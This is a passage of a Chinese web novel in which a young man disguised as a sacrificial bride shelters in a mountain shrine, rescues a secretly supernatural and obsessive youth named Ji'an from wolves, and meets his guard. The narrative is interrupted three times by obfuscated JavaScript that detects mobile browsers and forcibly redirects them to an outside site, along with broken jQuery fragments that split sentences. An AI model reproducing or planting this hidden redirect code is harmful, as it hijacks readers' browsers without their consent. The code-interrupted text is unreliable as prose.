“小郎君可是迷路了?”一个穿灰布衫的男人忽然停在面前,笑容里堆着油腻的褶皱。
“我听到你在找人,正好我方才在前面见到有人和你一样,应该还没走远,可以带你过去。”
男孩只及对方腰高,揉了揉被风吹得有点红的眼睛,犹豫过后还是跟上男人,然而弯弯绕绕走过好几条巷子,始终不见阿娘和妹妹的身影。
“阿伯,我们真的没有走错路吗?”男孩在一条僻静巷口前止住了脚步。
“当然没有了。”男人信誓旦旦地嘿笑着,意识到意图被识破,干脆转过身一把捂住他的嘴。
“别着急小郎君,马上就能到我家了,那里有很多跟你同样年纪的小朋友可以做游戏!”
男孩唔唔地呼喊,在挣扎间被强行抱了起来,眼见离那扇大门越来越近,“咻”的一声锐响,一支泛着莹白光泽的骨簪穿透男人喉咙,带着血珠钉在青石板上。
整个过程发生在一瞬间,快、准、狠。
男人瞪大双眼,发出浑浊的嗬嗬声,跌坐在地。男孩则趁机挣开,看着地上很快没了生机的男人,双目呆愣,胸膛几次高高鼓起又迅速瘪下。
半晌,他终于想起抬头望向巷尾,方才出手的人早已没了踪迹。
他忍着颤抖一点点靠近,蹲下身,指头触到鲜红骨簪便快速拔了出来,转身跑离,消失在灯火葳蕤中。
……
沈沂清的指尖还沾着粘稠感,他睫毛颤了颤,眼皮沉重得像粘了蜜,费力掀开时,视线里的一切从模糊逐渐聚焦,将梦境的余韵轻轻剥离。
昨晚上发生的一切仿佛也成了梦境中的一条分支,沈沂清忽然想不起最后是如何睡去的,只手里仍下意识攥着那支骨簪,簪上留有斑斑血迹,割裂出一块现实。
他一向喜净,但眼下也容不得过分讲究,撩起一截衣裳擦干净簪身表面血污,仔细放入袖中收好。
这支骨簪到沈沂清手里已有十四载,当年虽未曾见到那人样貌,更不知对方是出于无心之举还是有意相助,但他确确实实受了这份恩。
可惜线索过于单薄,他至今未能寻到恩人当面道谢。
沈沂清清楚这不是普通的骨簪,奇怪的是,骨簪往常在他遇到危险时都会作出反应,这些年来帮他赶走不少企图欺负他的人,怎么昨晚那登徒子都上手碰他了,骨簪仍无动于衷?
甚至最后关头他能感受到有一股力在拉着他,否则对方的心脏未必不会被他扎穿。
这么想着,沈沂清也注意到了自己左腿上的情形。
殷红的色泽沿着皮肤表面晕出纹路,像有人以血为墨,在这片陈旧的疤痕上绽出一朵妖冶美丽的花。此刻血渍干涸,形同烙印。
沈沂清试着擦了几下,血迹过于干涩,皮肤磨红了也没能完全擦掉,只得暂时作罢。指尖无意间扫过颈间时,触到一丝冰凉的异物感。
低头望去,一条细如发丝的红绳正贴在锁骨处,末端坠着片穿了孔的翎羽。
那翎羽比拇指略宽些,羽尖呈柔和的弧状,不是单调的纯黑,而是在光线下会透出深紫、墨蓝、翠绿的渐变,像把深夜的星空织进了羽片里。
无论是手中的骨簪、腿上的“血花”,还是这莫名其妙多出来的翎羽项链,无不提醒着沈沂清昨天发生的一切并非梦境。
他试着扯断红绳,手都勒红了,那绳子仍完好无损,只得简单理了理身上衣裳,将翎羽藏进领子里。从祭婚合卺房出来,见祠内没有人,倒是让他松了口气,但很快就又生出几分懊恼。
都说斩草要除根,南隰山这么大,若是对方有意躲着,想要寻起来并不容易。
希望昨夜他给对方的教训已经足够深刻。
山风歇了昨夜的戾气,只携着松针与晨露的清润,轻轻拂过祠前的青石缝。
晨光从东边山坳里漫出,染得祠顶的旧瓦泛着暖融融的光,连门扉上剥落的漆痕,此刻也镀了层温柔的金边,再寻不见半分昨夜诡谲的影子。
踏出祠门,不远处躺了个人。沈沂清走过去,一个人变成了一群,在他靠近时方悠悠转醒,从地上爬起来。
“怎么回事,我怎么在这里睡着了。”
“我也是,突然就特别困,太邪乎了!”
“我记得闭眼前听到奇怪的鸟叫声来着,再后面的事情就完全想不起来了。”
“……”
直觉告诉沈沂清,这些人的昏迷肯定与昨晚上那人有关。
对面几人同样发现了沈沂清的存在,虽许多不曾打过照面,但仅凭那一身华贵的大红喜服,也能猜测到他的身份。
其中一人走出,对着沈沂清行了个礼:“见过公子。”
“我等乃姜夫人特意寻来,专护公子周全。公子若有差遣,愿听凭调遣,无有不从。”
沈沂清有些不可思议地多看了对方几眼,最终确定为首的男人名叫蒋常,数年前曾随母亲一同逃难到绥灵镇,幸得他阿娘心善接济,母子二人才得以在府上谋得一职生存下来。
蒋常与他年纪相仿,那会除了陆柱,同他玩得最好,沈沂清为此还专门将人讨来做伴读。只可惜没几年,蒋常的母亲就因苛疾病逝府中,而丧事结束后蒋常便不知所踪。
不想一晃过去了这么多年,也不知阿娘用了什么法子将人寻回。
此刻再见,沈沂清其实很想问问他当初为何不辞而别,但顾忌在场还有许多人,不急于一时,只问了他这些年过得如何。
得到满意回答后,说:“你们都先回去吧。”
蒋常在内的人听闻此言皆是一怔。
这深山老林即便没有歹人行凶,若遇到猛兽出没,对于自幼便有腿疾的沈沂清也是凶多吉少。
蒋常意欲劝说,沈沂清看破,率先一步出声打断:“你们谁借我一把匕首?”
“接下来我自有安排,你们明日再来即可。”
依昨晚的情况来看,那登徒子暂时还不会取他性命,而蒋常他们若再留在这里,就未必了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521278|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
蒋常见沈沂清心意已决,不好忤逆。走上前,抽出腰间的匕首交给他,又双手奉上一只竹哨。
“这竹哨乃是特制,声音可传五公里之遥。公子若遇险境,可即刻吹响。夫人对我等有恩,必疾驰而至以死相护,保公子无虞。”
沈沂清收下了两样东西,待几人走后继续检查周围情况,发现那些形如“忏悔者”的树木依旧伫立在原地,却不似昨晚那么弯曲,头顶的日光因此得以照进来。
很快,沈沂清意识到一个十分严峻的问题——
他饿了。
肚子适时响起一道咕咕声,从昨日梳妆起到现在,他已经有十几个时辰未进食。
沈沂清看向手里的竹哨,早知道向蒋常他们讨要些吃的了。
现在吹响的话是不是有些不太道德?
嗯……但他们的公子好像快饿死了。
沈沂清又重新折回祠内,打算找找有没有贡品可以先借来充饥,便瞧见桌面上多出来一只烧鸡和一盘点心,都很新鲜,甚至前者还冒着热乎气。
有人来过。
他走向神龛。
啪——陶碗撞在神龛棱角上轰然碎裂。
沈沂清到底没有去吃那些来路不明的食物,也没再招来蒋常他们。已经腐臭的供品混着陶片溅落,他蹲下身,指尖避开黏腻的残渣,捡起一块边缘最宽的陶片。
粗糙的陶面在石阶上反复摩擦,原本锋利的边缘渐渐变得平整。沈沂清从裙摆撕扯下一段做布条,将磨好的陶片牢牢绑在短木棍一端,缠了三圈,最后用力打结,借着这柄自制小铲挖了些野菜,还发现一片匍匐生长的灌木,茎叶密布尖刺,带有鲜红卵球状小果。
数量不多,但加上野菜,勉强可以填饱肚子。
回到山神祠,沈沂清先把野菜清洗干净,丢进盛着山泉的陶碗里,架在余烬上慢慢煮。至于那碗,自然也是顺来的,不过这次是从祠中那座巨大神像前。
等野菜煮熟的过程,他捏着浆果放进嘴里,不由得想自己这算不算对神明的亵渎。
不供奉就算了,还不问自取。
没想到这“报应”也来得很快,当天沈沂清就因为这顿饭再次引发腿疾,筋骨似被寒针刺入,疼得人夜里翻来覆去总也睡不着。
沈沂清睁着眼听了一会山风穿林,索性下床去,见白日那些树木果不其然又变成了“忏悔者”。
看来他猜的没错,这座山真的不对劲。
忽然一声凄厉狼嗥从远处山谷传来,拖着长长的尾音,在夜空中格外刺耳。
这荒山野岭有狼并不稀奇,沈沂清裹好身上衣裳,压低步子退了回去。
山神祠虽破,好歹四面有墙,狼无法轻易闯进来。可那狼嗥声却越来越近,越来越密,像是有好几头狼聚在了一起,隔着门板都能隐约听到它们粗重的喘息。
沈沂清的心刚提起来,就听见祠外传来一个带着哭腔的求救声:“救命!谁来救救我!”
月光下,一名身形瘦削、穿件旧青麻衫的少年缩在岩石后,七八只狼围着他打转,有的已经扑上去,少年右肩上挨了血淋淋的一爪,攥着根断木勉强抵挡,眼看就要撑不住了。
5. 寄安
煮野菜时点燃的柴火尚未完全熄灭,沈沂清迅速从中抽出一支,挥动两下借风助燃。
野狼生性畏火,面对冲过来的沈沂清,正与少年僵持不下的那头不得已放弃攻势向后闪躲,却仍有几缕毛发舔舐着火舌擦过,烧成灰烬散作尘。
“傻站着干嘛呢,到我身后去!”沈沂清见少年竟还有心思盯着自己发愣,握住他的胳膊往身后带了一下,重新将心思放到面前几头狼身上。
山风卷着枯木碎屑刮过,沈沂清不敢有片刻分神,攥着火把的指节泛白,橘红火焰在他颤抖的手中剧烈晃动,映得身前三头野狼的绿瞳愈发渗人。
最前头的狼龇着牙,涎水滴在青石上,喉咙里滚着威胁的低吼,其余两头则缓缓左右包抄,顾忌着沈沂清手上的火把迟迟不敢上前,却也不肯轻易放弃眼前的猎物。
就在沈沂清全神贯注盯着正面时,耳边传来草叶被踩碎的轻响,一头灰狼不知何时出现在身后,前爪已一跃而起,携着腥臭的风直扑向那截细瘦的颈子。
糟糕!
沈沂清率先发现不对,几乎是本能地向侧前方扑倒少年,灰狼的尖牙最后擦着他的后背咬空,重重落在地上。
沈沂清撑着地面想起身,左腿再次传来钻心的疼,膝盖一软险些又跌坐回去,冷汗瞬间浸透后背的衣衫。想到周围还有几头野狼虎视眈眈,强咬着牙拾起火把,先将灰狼驱赶至数步外的距离。
少年没起身,仍坐在地上,一副被吓傻了的模样,唯视线一错不错地黏在沈沂清身上。橘红火焰在他手背上投下跳动的光,也照亮了那道刚被划开的细小伤口。
沈沂清戒备地盯着眼前龇牙咧嘴的狼群,视野盲区内,方才还被吓破了胆、瘫坐在地上的少年,目光正牢牢锁在那道渗着血珠的伤口上,原本澄澈的眼神骤然沉下去,像淬了冰的深潭。
他背在身后的手指几不可察地蜷了蜷。
原本围着两人打转的狼群倏然像被无形的手扼住喉咙,齐齐发出痛苦的呜咽,夹着尾巴,头都不敢回地窜进了黑暗里。
这一转变发生得实在太快,沈沂清手上还保持着举火把的姿势,望向一扫而空的地方满心纳闷。
他警惕地转过头,火光照亮少年瘦弱的身躯,却见对方眼眶微红,怯生生地望着他,质问的话不由得一噎,便问不出口了。
“怎么样,有没有伤到?”沈沂清走过去伸出手,“还能站起来吗?”
少年的目光从他手背掠过停至手心,抿了抿唇,这才缓缓将自己指缝里还卡着几根草屑的手放了上去,五指收拢,用力握住。
看来真的吓得不轻,沈沂清心想,将对方从地上拉了起来。
只是少年站定后迟迟没有要松开手的意思,好似没有主人指令就不知道该如何进行下一步的木偶。
这令沈沂清有些为难,他其实不怎么喜欢与不相熟的人有肢体接触。
正犹豫着要不要开口提醒一下,少年终于有了动作,若无其事地放开他的手,眼神变得崇拜:“姐姐好厉害,多亏你出现,我才能捡回一条命。”
除了崇拜,还有些沈沂清看不懂的情绪在里边,令他莫名想起了刚才那些狼。
只是沈沂清的注意力更多在少年对他的称呼上,还没完全习惯身份上的转变,脱口问:“你喊我什么?”
“姐姐啊。”少年重复一遍,露出纯粹的不解:“我喊错了吗?”
“……”
还是第一次听到有人这么喊他,实在奇怪。
“我并非女子。”沈沂清难堪地抬起一只手捂住半边脸,说:“这裙子是为了躲避仇家才穿的。”
本以为还得再想些内容来印证这句话,少年已经很上道地改口,清脆的声音裹着风飘过来:“谢谢哥哥。”
这次对味了。
少年约莫十六七岁的年纪,身形瘦削得似阵风便能吹倒。面黄肌瘦,颧骨微突,下颌线条单薄,唯有一双眼睛还算亮些。额前碎发枯黄打结,黏在满是尘灰的额头上,两鬓头发长短不齐,许是自己用钝刀随意割过,右边耳垂后方有一颗不起眼的红痣。
脚上的布鞋糟朽不堪,露出皲裂的后脚跟,鞋面与鞋底明显分层,只靠几缕残线勉强牵连着,仿佛多走两步就要彻底分家。右肩处破了个拳头大的洞,露出底下陈旧染血的里衣。
“你的伤,看上去很严重。”沈沂清提醒了一句。
岂料对方在后面接道:“那就有劳哥哥帮我包扎一下了。”
沈沂清感觉少年在说这句话时恍若变了一个人,眼中看不到方才面对狼群时的害怕怯弱,反倒隐隐透出一种……
应该是兴奋吧?
不待他细想,少年已经低下眉眼,捂住自己的右肩,语气小心地补上一句:“可以吗哥哥?我不是很会处理伤口,现在好痛。”
-
姜慧蓉出嫁前是医药世家的小姐,虽后来随夫来到绥灵镇,但医者仁心未改,时常在镇上设馆诊病,分文不取,直到后来丈夫撒手人寰,家中重担一夜间全摞到了她的肩头,外出义诊的次数才不得已缩减。
从小在母亲和外祖父的耳濡目染之下,沈沂清通晓些医术和药理,让少年回祠内给他取来一支新火把后,从附近找了几株认识的草药捣成泥,为对方敷上,余下三分之一未用完的则用树叶包好,放进自己袖中。
他问起对方叫什么,为何会只身一人出现在山上。
少年说自己名叫“寄安”,从小父母双亡无依无靠,没地方可去,一路流浪到附近,偶然间遇到好心人给他指了个去处,说可以到山神祠住下,他就过来了。
为了感谢能够栖身在此,他主动负责起了山神祠内的日常维护和清扫。每天主要靠山里的一些小型禽兽和野菜野果充饥,有时也会拿点找到的好东西到镇上去卖,改善一下伙食和生活。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521279|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
提到食物的事情,寄安顺势问他:“早上的食物是我特地给你准备的,哥哥觉得怎么样?”
沈沂清一愣,后知后觉想起那些被自己扔掉的食物,原来是他留的。
面对少年抛来的期待眼神,沈沂清不自在地咳了两下,并未正面回答这个问题,只说谢谢他的好意。
又问:“为什么要给我留食物?”
换句话说,为什么要给他一个素不相识的人特地准备食物。一只烧鸡和一盘点心,想必是这少年能够拿出来最好的东西。
少年似乎没想到他会追问,茫然地“啊”了一声,才不好意思地说:“其实昨天你们上山的时候我瞧见了,因为好奇偷偷跟在后面。”
他口中的“你们”应该还包括轿夫和出嫁送行的人。
“这是我第一次看到这么多人,也是第一次……”少年的眼尾悄悄扫过那抹艳丽绝色,在对方抬眸看过来时慌忙垂下,耳尖红得像浸了胭脂,喉结微微发紧。
他含含糊糊挤出后半句——“看到这么好看的新娘子”,便再不敢多言,连垂落的发梢都透着几分无措的慌乱,一晃一晃的。
沈沂清就坐在他对面,轻易就将这些反应尽收眼底,却没有戳穿。
心性挺单纯善良的一个孩子。
“谢谢。”他今晚第二次道谢。
-
夜里黑云铺匀了满天,山风裹着湿意斜潲撞在神祠,吱呀声刚落,雨珠便砸了下来,密密匝匝织成帘幕。
沈沂清躺在还算软和的榻上,夜漏更深,湿气透过破旧窗棂渗进屋内,如细密的松针,一个劲地往骨肉里钻。
沈沂清的身子慢慢蜷缩起来,手指隔着亵裤死死按在左腿,额角一点点沁出冷汗。他想翻个身减轻些疼,可稍一挪动,剧痛便蓦然加剧,逼得他闷哼出声,蜷起的手指深深掐进大腿肉里,恨不能剜去那些痛苦来源。
雨势越急,雨声越密,沈沂清强迫自己松开手,咬着牙撑起身,摸下床往桌边走,可没走出几步,左腿的沉麻和锐痛就令他膝盖一软,在地面磕得生疼。多亏双手及时扒住了桌沿,才不至于整个人都滑到地上。
傍晚收起的那一小包东西正孤零零躺在桌面,里面装着半株叶片已然开始萎蔫的寻骨风。沈沂清揪下一点送进嘴里,味道不算好,随后将剩下的寻骨风用手揉成潮湿的泥团,准备敷在大腿上。
裤腿刚卷至腿根,门“吱呀”一声被推开,一道捧着灯盏的身影立在门口,暖黄的光线边缘恰好落在沈沂清暴露在外的半截腿上,照亮瓷白的漂亮与虬结的丑陋。
沈沂清的心猛地一紧,像被人攥住最隐私的秘辛,他慌忙去扯裤腿,“别看,别看我……”却因动作太急碰到摔破的膝盖,疼得倒抽一口气。
抬头见少年还愣在原地,眼神里带着他最厌恶的探究,沈沂清的语气刹那变得冷硬,呵斥道:“出去!谁准你进来的!”
6. 腰带
药草的凉意在布料下慢慢渗进皮肤,混着一丝微弱的暖意,沈沂清紧绷的身子这才稍稍放松,重新蜷回床上,只盼着这草药能撑到天明。
他试着闭上眼睛,脑海却很快被方才的事情所充斥,不由得烦躁地扯过被子盖住头,一把埋住自己。
他左腿上的疤痕和腿疾都是天生的,这些年看了无数大夫,其中包括他医术高超的外祖父,都对此束手无策,表示无法彻底根治,只能好生养着。
这也因此成为扎在沈沂清心头一根难以启齿的刺,平日要么不轻易出府,要么戴着幂篱防止被人认出,就连贴身伺候了沈沂清数十年的陆柱都不敢轻易提及。
一门之外,少年背靠上冰冷的门板,背脊微微弯曲,面上不见丝毫被呵斥后的委屈或愤懑,唯有一片深不见底的平静。
祠外树叶沙沙作响,一只通体墨羽的鸟振翅飞入,落在中央那尊山神像的肩头,黑曜石般的眼珠定定注视着底下。
少年抬起手,骨节分明的手指覆住了自己下半张脸,指腹无意识摩挲着唇角,想起在屋内看到的画面,沈沂清盛怒之下拂袖衣袍滑落,露出那截白皙紧实的锁骨,和进门时瞧见的大腿……
他的眼神渐渐变了,平静的湖面下翻涌起初见端倪的痴迷与偏执,那抹白皙在他眼底晕染开来,几乎要将他整个人吞噬。
片刻后,几不可闻的低声从指缝间漏出,带着一丝压抑不住的喟叹:“……真好看。”
-
一晚上过去,寻骨风的药效已经散得差不多。
沈沂清的腿还是疼,那种深嵌在骨子里连挠都挠不到的疼。此前他出去找吃的就已经到了极限,最是需要好好休息,结果夜里又碰上一群野狼,可谓雪上加霜。
以他目前这种状态,就算想立刻下山也不可能了,除非他不怕在半路摔死。
从母亲手里彻底接管沈家生意和府上诸多事宜后,沈沂清的睡眠便跟着浅了不少,要是再遇上腿不舒服,不到卯时就会醒来,今天便是如此。
沈沂清将桌上最后小半壶水都倒出来喝了,出门的时候却被绊了一下,险些将这些水又从嘴里摔出去。
他踉跄了好几步才终于站稳,回头一看,地上蜷缩着好大一坨人。
少年的双手交叉式紧紧抱着手臂,膝盖屈到了肚子的位置。身下垫了一层不知道从哪里找来的干草,很薄,肉眼可见抵挡不住地板的冷硬。
他胸口正随呼吸有规律起伏,说明还活着。
似乎察觉到沈沂清打量的目光,也可能是刚才那一下的动静太大,少年揉了揉眼睛坐起来,脸上还带着初醒时的茫然。
在地上睡了一宿,他身上更脏了,几乎快看不出底下原本的颜色。
沈沂清不理解,问他:“为什么睡在这里?”
少年先是打了一个喷嚏,用黝黑的掌心搓了搓冰凉的双臂,哆嗦着嘴唇说:“对、对不起,其实……我骗了您。”
他依然坐在地上,发间混了几根干枯的杂草,一点点向上抬起眼睛看沈沂清,整个人像一只被遗弃在路边、带着讨好意味的小狗。
“……前几天突然有好多人到这里来,他们说我身上脏,继续住在这里是亵渎神明,让我走,不许再回来。所以我跟哥哥说我住在这的话是骗了您,我几天前就已经没有资格再留在这里了。”
沈沂清想,应该是镇民们上来布置祭婚合卺房时发现了赖在这里的少年,出于对这场祭祀的重视和对山神的敬重,采取了强硬的手段将人赶走。
“但我昨晚上一个人在外面实在是太害怕了,想着偷偷跑回来住一晚,天亮就走,没想到半路遇到了野狼。后来因为怕出去会再被那些吃人的狼盯上而丧命,才撒了谎好躲在这里。”
沈沂清有一会没有开口。
少年身上那件补丁摞补丁的旧青麻衫空荡荡挂着,露在外面的胳膊腿骨节凸出,横着几道淤青紫痕。皮肤蜡黄发灰,贴在骨头上没有半分肉感,明显是长期饮养不良的表现。
他的外表联系上他说的话,确实让沈沂清挑不出半点毛病。
“那你为什么现在又愿意告诉我真相?”
说实在话,沈沂清并不在乎少年是曾经住在这里还是一直住在这里,但对方现在突然刻意挑起这件事,不得不让他去怀疑。
一个失去亲人庇护、半大的孩子,是怎么躲过山中蛇虫猛兽活下来的?
昨晚出现的狼真的只是意外吗?
少年绞着手指,在这时忽然开口:“爹娘还在时时常教导我不能骗人,我觉得哥哥你是好人,不想再继续骗你。”
“……”
这话说的。
少年本身没有恶意,却被赶出去,说到底也有自己的一份原因在里边。对方非但没有借机报复,还不计前嫌送来食物,尽管他最后没吃,但他要是也像那些镇民一样再将人轰走,实在说不过去。
“你可以在这安心住着,我不会赶你走。”
沈沂清发誓绝对不是因为觉得对方那声“哥哥”喊得好听。
“真的吗?”寄安似乎被这个惊喜砸得愣了一下,“那我今后可不可以跟着哥哥?”
跟着他吗?沈沂清没有想过这个问题,毕竟他和少年从认识到现在还不到一天。
见沈沂清不答,寄安的神情又很快落寞下去,说:“要是哥哥觉得我在这里太碍事了,同我说一声就行,我还认识一处山洞可以去。虽然那里什么都没有,还又冷又黑,但至少下雨的时候不会被淋着……”
沈沂清难以想象少年过去究竟经历了些什么,才会变成这样敏感又缺乏安全感的性格。
“不碍事,你想跟着我就跟着吧。”
反正多收一个小弟的事,过去阿娘忙的时候,他连妹妹都能照顾过来,现在再带一个孩子肯定更没关系。
沈沂清咳了一下,语气有些别扭道:“昨晚上的事情对不起,我不是有意对你发火。”
少年笑得很纯真,似乎并未放在心上,“没关系的哥哥。”
-
沈沂清第一晚留在山神祠,是为了揪出那妄图以祭祀新娘之名娶他妹妹的人,第二晚再留下,除了亲眼验证那些“忏悔者”是否属实,更重要的还是想确定“山神”究竟会不会再出现。
很显然,他的计划落空了。
但这也不算一件坏事,毕竟沈沂清的真实目的不在取人性命,事实上不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521280|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到万不得已,他并不会去选择这样一种极端的方式。
由于这回腿疼得实在厉害,沈沂清又在山上多待了一日,有寄安在,他至少不会饿肚子。少年看出他的不方便,主动承担起了找食物和烧水的任务。
寄安挎着半篓野果从山道上下来,裤脚沾着泥点,右脚赤着,踩在碎石上有些狼狈,速度却不减,整个人像一阵轻快的风,很快就冲到沈沂清面前,脸上还带着跑出来的红晕,笑容灿烂得晃眼。
若不是身体过于羸弱,这副长相肯定能讨不少姑娘欢心。
沈沂清帮忙取下对方外出前临时编制的篓子,看到不对称的左右脚,“鞋呢?”
“在这。”寄安脸更红,有些不好意思地从后腰摸出一只鞋。鞋底和鞋面已经彻底分家,犹如两片失了联系的枯叶。
他捏着鞋帮晃了晃,无奈地撇嘴,算是宣告这双鞋的彻底阵亡。
沈沂清见状,想也没想伸手解下腰间那条绣着金丝卷草纹的红腰带,递过去:“先用这个绑一下固定吧,总比光着脚强。”
那腰带触手光滑,金线在阳光下闪着细腻的光泽,一看便知价值不菲。寄安受宠若惊地接过,指尖因兴奋有些发颤。
沈沂清以为他是有所顾虑不敢用,道:“这腰带是我自己的,不值几个钱,你尽管用,我不会再要回来。”
“当然,我也不是白给你的。你能不能帮我去找几株草药来?”
寄安将腰带收起来,当即道:“什么样的草药?只要是哥哥想要的,无论多难我都给你找到。”
“倒也没有那么难找。”沈沂清用枝条在地上边画边说:“叶片为心形,全株密被白绒毛,嗯……大概长这样,在灌丛和岩石边会比较好找到。”
寄安扫了一眼地面的图案,视线缓缓上移,停在沈沂清的左腿上,像是猜到这草药寻来的作用,“哥哥的腿又疼了吗?”
沈沂清也算要点面子,怎么可能会在小辈面前喊疼。何况真说起来,要不是某个流氓假装山神,晚晚就不会被选中成为祭祀新娘,而他更不会因为替嫁而引发腿疼。
所以说,外界的因素能算在他身上吗?
自然是不能。
“没有,我不疼。”
“真的吗?”
“真的。”
“那哥哥你的腿为什么在抖?”
“……”
沈沂清挤出一个礼貌而不失和善的微笑:“我在放松。”
少年,再问就啰嗦了啊。
寄安还想说什么,“可是……”
“没有可是。”沈沂清及时截断了他的话头,“一会天黑该看不清路了。”
寄安这才止住追问,带着沈沂清给的腰带出去了。只是他没有按照沈沂清的话先去找草药,而是到路边随手扯了根坚韧的藤蔓。
夕阳像一枚烧红的金币,正一点点沉入西边的山坳,把最后几缕温柔的霞光洒在墨绿的树梢上。
沈沂清攥着手里的竹哨,指腹几次擦过磨得光滑油亮的哨身,就在他指尖微微收紧仍在迟疑时,前方石阶尽头忽然晃过一点微弱的光。紧接着,有细碎的脚步声伴着枯枝断裂的脆响,正一步步朝这边靠近。
7. 鬼魅
沈沂清看了看手里的竹哨,又看了眼来人,心想总不可能是自己缺少了一段记忆吧。
蒋常已经走到沈沂清面前,语气毕恭毕敬地喊了声“公子”。他手里提着一大扎东西,另一只手的手臂上挂着两套折叠整齐的新衣裳。
“公子的决定属下不敢忤逆,但属下思来想去实在担心,所以自作主张过来一趟送些吃食和衣裳,公子若对此有任何不满,属下甘愿受罚。”
蒋常请罪的同时就注意到沈沂清身上的变化。他才离开短短一日,对方看起来就憔悴了不少,肯定吃的不好,睡的也不好,甚至连身上腰带都没了。
这绝对是他身为侍卫的失职。
“我可没有动不动就罚人的习惯。”沈沂清将竹哨收起来,说:“今后也不必总将请罪挂在嘴边。”
“不过你来的正是时候。”
蒋常连忙接话:“公子需要我做什么?”
沈沂清身上黏得不太舒服,实在快忍不了了:“我想沐身。”
-
密林中,几只麻雀从鸟巢中探出头,接着是喜鹊、斑鸠……很快,山上各种各样的鸟雀从四面八方聚拢过来,仿佛在等待某种指令。
少年指尖轻点,用一种凡人听不懂的语言低声吩咐了几句,又比划出草药的形状,那群鸟儿便立刻四散开来,扑棱着翅膀消失。
四周恢复平静,少年从怀里取出那条鲜红似火的腰带,唇缘缓缓上扬,眼底露出一丝不易察觉的温柔。他将腰带凑到鼻尖,闭上眼,无比珍惜地嗅了嗅。
上面还残留着原主人身上淡淡的草木清香,混合着阳光晒过的温暖气息,吸入肺腑的那一刻,连心脏都觉得被填得满满当当。
没过多久,伴随一阵翅膀扑棱的声音,鸟雀们陆陆续续回来了,嘴里衔着或爪子抓着各种草药,纷纷落在少年面前的空地上。少年仔细地从中挑选出需要的那几种,满意地放进竹篓。
临走前,他特意走到旁边的泥地里,用手抓起一把湿泥,在自己脸颊和裸露的小臂上胡乱抹了几下,又抓了些草叶洒在衣服上,让自己看起来风尘仆仆、颇为狼狈。
这样等他回去,哥哥就不会怀疑他采摘草药的过程,只会心疼他的“辛苦”了。
可惜他这副乔装打扮没有先让沈沂清瞧见,山神祠内多了个不请自来的家伙。
蒋常坐在火堆旁,正在给沈沂清准备一会沐身要用的热水。这里的条件虽比不上沈府,但好在日常起居的东西还算齐全。
远远地,他就听到外面有动静,担心是山里的野兽,立即起身出去查看,却看到一个称得上破破烂烂的少年,身后背着竹篓,双手抓着两侧背绳,正一言不发直直地朝他看过来。
两人对视好一会,若不是蒋常眼神尖,看出对方衣裳下的呼吸起伏,还真会怀疑这个盯着他一动不动的少年是谁故意放在这里的木偶人。
“小兄弟,你是住在这附近的人家吗?”蒋常率先出声,在心底琢磨着对方是否有撞破自家公子替嫁的事。
这事说大不大,但能惊动县令,说小也不小,每多一个知道公子替嫁的人,沈府就多一分危险,尤其是被外人发现。
少年依然不说话,甚至连一个动作都没有,只是看人的眼神愈发奇怪,既没有半分温度,也没有情绪波动,像在打量一件毫无生气的死物。或者说,是在看一件即将被清理掉的碍眼垃圾。
这种眼神是一个正常少年会有的吗?
蒋常不露声色地将手摸到腰后,握上冷硬的剑柄,只是还没抽出,沈沂清就出来了。
沈沂清一眼看见蒋常背后的动作,敏锐地感受到弥漫在两人之间那种不对付的气氛,尽管他并不知道在此之前发生了什么,但猜想应该是误会的成分居多。
“你们饿了吗?食物还有很多。”沈沂清走到中间,顺势介绍了一下双方,好让他们分清敌我。
“这是我的侍卫,也是我之前在府上的好朋友蒋常,这是我昨天从狼口救下的孩子,叫寄安。”
寄安看到沈沂清的一瞬间四肢活了过来,就连嘴巴都会动了,“哥哥,草药我都给你采回来了。”
“好,辛苦你了。”既然打算沐身,沈沂清决定一会将这些草药放进去,药浴的效果会更好一些。
“不过你身上这是怎么回事?怎么这么多泥巴,路上摔了吗?”
寄安像是才发现,不甚在意地啊了一声:“我没事,应该是采草药的时候不小心蹭到了。”
不过后面半句话倒是提醒了寄安,光抹泥巴还不够,应该多摔一跤再回来的。
哥哥喜欢保护弱者,自己下回是摔断腿还是摔断手比较好?
或者哥哥有其他喜欢的部位,他也可以摔断给他看。
蒋常听到沈沂清从狼口下救人的举动,再结合少年话里的草药,也立即凑了上来:“公子您受伤了?”
突然被两个人夹在中间,沈沂清感觉现在气氛比刚才更奇怪了是怎么回事。
“之前的老毛病了。”沈沂清借着说话抽身而出,看了眼少年脏兮兮的脸,还是觉得只是普通蹭一下不可能弄成这样。
“寄安,你一会也用热水洗一下身上吧。”
“这是哥哥一会要用的,让给我会不会不太好?”寄安露出为难的神色,下一秒就扭头说:“那就辛苦蒋侍卫帮我们多烧些热水了。”
